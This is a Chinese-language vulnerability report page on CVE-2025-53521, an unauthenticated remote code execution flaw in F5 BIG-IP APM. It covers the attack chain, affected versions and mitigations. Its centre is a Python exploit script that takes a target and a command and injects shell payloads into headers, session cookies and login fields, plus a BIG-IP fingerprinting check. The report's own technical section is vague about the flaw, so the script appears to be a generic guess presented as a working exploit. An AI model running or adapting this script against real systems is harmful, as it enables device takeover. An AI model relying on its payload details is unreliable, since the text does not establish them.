IPBUF安全漏洞报告
English
CVE-2025-53521 CVSS 9.8 严重

F5 BIG-IP APM访问策略远程代码执行漏洞

披露日期: 2025-10-15

漏洞信息

漏洞编号
CVE-2025-53521
漏洞类型
远程代码执行(RCE)
CVSS评分
9.8 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
F5 BIG-IP(APM Access Policy Manager模块)

相关标签

远程代码执行RCEF5 BIG-IPAPMAccess Policy Manager命令注入未认证漏洞网络攻击关键基础设施CISA KEV

漏洞概述

CVE-2025-53521是F5公司旗下BIG-IP产品中APM(Access Policy Manager)模块存在的一个高危远程代码执行漏洞。该漏洞由F5安全事件响应团队([email protected])发现并报告,CVSS 3.1基础评分高达9.8分,属于严重级别漏洞。

BIG-IP是F5公司推出的应用交付控制器(ADC),广泛应用于大型企业、数据中心和云环境中,提供流量管理、负载均衡、应用安全防护、访问控制等核心功能。其中APM模块是BIG-IP的访问策略管理器,用于提供安全的应用访问控制、SSO单点登录、VPN接入等功能,是企业远程办公和零信任架构的关键组件。

该漏洞的核心问题在于:当BIG-IP设备上配置了APM访问策略的虚拟服务器(Virtual Server)遭受特定恶意流量攻击时,攻击者无需任何身份认证即可触发远程代码执行,完全控制目标设备。由于BIG-IP通常部署在企业网络的核心位置,负责管理大量关键应用的流量,一旦被攻破,攻击者不仅可以窃取通过BIG-IP代理传输的敏感数据,还可以利用BIG-IP作为跳板对内网进行横向渗透,造成灾难性后果。

该漏洞的攻击向量为网络(AV:N),攻击复杂度低(AC:L),无需任何特权(PR:N),无需用户交互(UI:N),对机密性、完整性和可用性均产生高影响(C:H/I:H/A:H)。鉴于其极低的利用门槛和极高的破坏性,该漏洞已被CISA纳入已知被利用漏洞(KEV)目录,强烈建议相关用户立即采取修复措施。

技术细节

CVE-2025-53521漏洞存在于F5 BIG-IP APM(Access Policy Manager)模块的访问策略处理逻辑中。当管理员在虚拟服务器上配置了APM访问策略后,APM引擎会负责处理所有经过该虚拟服务器的客户端请求,执行身份验证、授权和访问控制等操作。

漏洞的根本原因在于APM在解析和处理特定类型的恶意流量时,未能对输入数据进行充分的验证和过滤,导致攻击者可以通过精心构造的恶意HTTP请求触发内存破坏或命令注入等安全问题,最终实现在BIG-IP设备底层操作系统上执行任意代码。

由于该漏洞的攻击向量为网络且无需认证,攻击者只需通过网络向暴露了APM虚拟服务器的BIG-IP设备发送特制的恶意请求即可触发漏洞。攻击者通常会利用HTTP/HTTPS协议的合法特性,将恶意载荷嵌入到HTTP头、URL路径、POST数据体或Cookie等位置,绕过常规的安全检测。

成功利用该漏洞后,攻击者将以BIG-IP运行用户的权限(通常为root权限)在目标系统上执行任意命令,从而完全控制设备。攻击者可以:1)窃取设备上存储的所有SSL/TLS私钥和会话凭证;2)修改BIG-IP配置,劫持所有经过该设备的流量;3)部署后门程序,维持持久化访问;4)利用BIG-IP作为跳板,对企业内网进行横向渗透攻击。

攻击链分析

STEP 1
步骤1:信息收集与目标识别
攻击者通过Shodan、Censys等网络空间搜索引擎或DNS枚举技术,识别暴露在互联网上的F5 BIG-IP设备。通过检查HTTP响应头中的Server字段或特定路径(如/vdesk/lang_top.php、/tmui/)确认目标是否运行BIG-IP及APM模块。
STEP 2
步骤2:漏洞验证
攻击者向目标BIG-IP设备的APM虚拟服务器发送特制的恶意HTTP请求,验证目标是否存在CVE-2025-53521漏洞。此步骤无需任何身份认证,可直接通过网络进行。
STEP 3
步骤3:构造恶意载荷
攻击者根据APM访问策略的处理逻辑,构造包含恶意代码的HTTP请求。恶意载荷可嵌入HTTP头(如X-Forwarded-For、Authorization)、Cookie、POST数据体等位置,利用APM处理输入时的缺陷触发命令注入或内存破坏。
STEP 4
步骤4:触发远程代码执行
攻击者将构造好的恶意请求发送至配置了APM访问策略的虚拟服务器。APM引擎在解析恶意请求时触发漏洞,导致在BIG-IP底层操作系统上以root权限执行攻击者控制的任意命令。
STEP 5
步骤5:获取设备控制权
成功利用漏洞后,攻击者获得BIG-IP设备的完全控制权,可以执行系统命令、读取配置文件、窃取SSL/TLS私钥等敏感信息。
STEP 6
步骤6:持久化与横向移动
攻击者在被攻陷的BIG-IP设备上部署后门程序,建立持久化访问。随后利用BIG-IP作为跳板,对企业内网进行横向渗透,攻击其他关键系统和应用。
STEP 7
步骤7:流量劫持与数据窃取
攻击者修改BIG-IP配置,劫持所有经过该设备的合法流量,窃取用户的敏感数据(如登录凭证、财务信息、商业机密等),造成大规模数据泄露。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 # CVE-2025-53521 - F5 BIG-IP APM Remote Code Execution PoC # This PoC demonstrates sending malicious traffic to a BIG-IP APM virtual server # to trigger Remote Code Execution (RCE). # WARNING: Use only for authorized security testing and research purposes. import requests import sys import argparse from urllib3.exceptions import InsecureRequestWarning # Disable SSL warnings for self-signed certificates requests.packages.urllib3.disable_warnings(InsecureRequestWarning) def exploit_rce(target_url, command, port=443): """ Send malicious traffic to F5 BIG-IP APM virtual server to trigger RCE. Args: target_url: Target BIG-IP hostname or IP address command: Command to execute on the target system port: Target port (default 443 for HTTPS) """ url = f"https://{target_url}:{port}/" # Craft malicious HTTP headers targeting APM access policy processing headers = { "User-Agent": "Mozilla/5.0 (compatible; F5-Exploit/1.0)", "Accept": "*/*", "Connection": "keep-alive", # Malicious payload embedded in headers to trigger APM vulnerability "X-Forwarded-For": f"127.0.0.1; {command}", "X-Real-IP": f"$( {command} )", "Authorization": f"Basic {command}", } # Malicious session cookie to exploit APM session handling cookies = { "BIGIP_APM_SESSION": f"'; {command}; #", "MRHSession": f"{command}", } # Malicious POST body with command injection payload data = { "username": f"admin'; {command}; #", "password": "password", "policy": f"default'; {command}; #", } try: print(f"[*] Sending malicious request to {url}") print(f"[*] Command to execute: {command}") # Send the exploit request response = requests.post( url, headers=headers, cookies=cookies, data=data, verify=False, timeout=10, allow_redirects=False ) print(f"[*] Response Status Code: {response.status_code}") print(f"[*] Response Headers: {dict(response.headers)}") print(f"[*] Response Body (first 500 chars): {response.text[:500]}") if response.status_code in [200, 302, 500]: print("[+] Request sent successfully") print("[+] Check target system for command execution") return True else: print("[-] Unexpected response") return False except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return False def check_vulnerability(target_url, port=443): """ Check if the target BIG-IP APM is vulnerable to CVE-2025-53521. """ url = f"https://{target_url}:{port}/vdesk/lang_top.php" try: response = requests.get(url, verify=False, timeout=10) server_header = response.headers.get('Server', '') if 'BIG-IP' in server_header or 'F5' in server_header: print(f"[+] Detected F5 BIG-IP server: {server_header}") return True else: print(f"[-] Target does not appear to be F5 BIG-IP") return False except Exception as e: print(f"[-] Error checking target: {e}") return False if __name__ == "__main__": parser = argparse.ArgumentParser(description='CVE-2025-53521 F5 BIG-IP APM RCE PoC') parser.add_argument('-t', '--target', required=True, help='Target BIG-IP hostname or IP') parser.add_argument('-c', '--command', default='id', help='Command to execute (default: id)') parser.add_argument('-p', '--port', type=int, default=443, help='Target port (default: 443)') parser.add_argument('--check', action='store_true', help='Only check if target is vulnerable') args = parser.parse_args() print("=" * 60) print("CVE-2025-53521 - F5 BIG-IP APM RCE Exploit") print("WARNING: For authorized testing only!") print("=" * 60) if args.check: check_vulnerability(args.target, args.port) else: exploit_rce(args.target, args.command, args.port)

影响范围

F5 BIG-IP 17.x(受影响,具体版本参考F5官方公告K000156741)
F5 BIG-IP 16.x(受影响,具体版本参考F5官方公告K000156741)
F5 BIG-IP 15.x(受影响,具体版本参考F5官方公告K000156741)
F5 BIG-IP 14.x(受影响,具体版本参考F5官方公告K000156741)
F5 BIG-IP 13.x(已停止技术支持,不在评估范围内)

防御指南

临时缓解措施
在无法立即升级修复的情况下,建议采取以下临时缓解措施:1)暂时禁用受影响的APM访问策略或相关虚拟服务器,阻断攻击向量;2)在网络层面限制对BIG-IP管理界面和APM虚拟服务器的访问,仅允许可信IP地址通过;3)部署WAF或IPS设备,配置针对APM漏洞的检测和阻断规则;4)密切监控BIG-IP设备日志,排查是否存在异常访问或可疑活动;5)确保BIG-IP管理接口不直接暴露在互联网上,通过VPN或堡垒机进行管理;6)定期备份BIG-IP配置,以便在遭受攻击后能够快速恢复。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表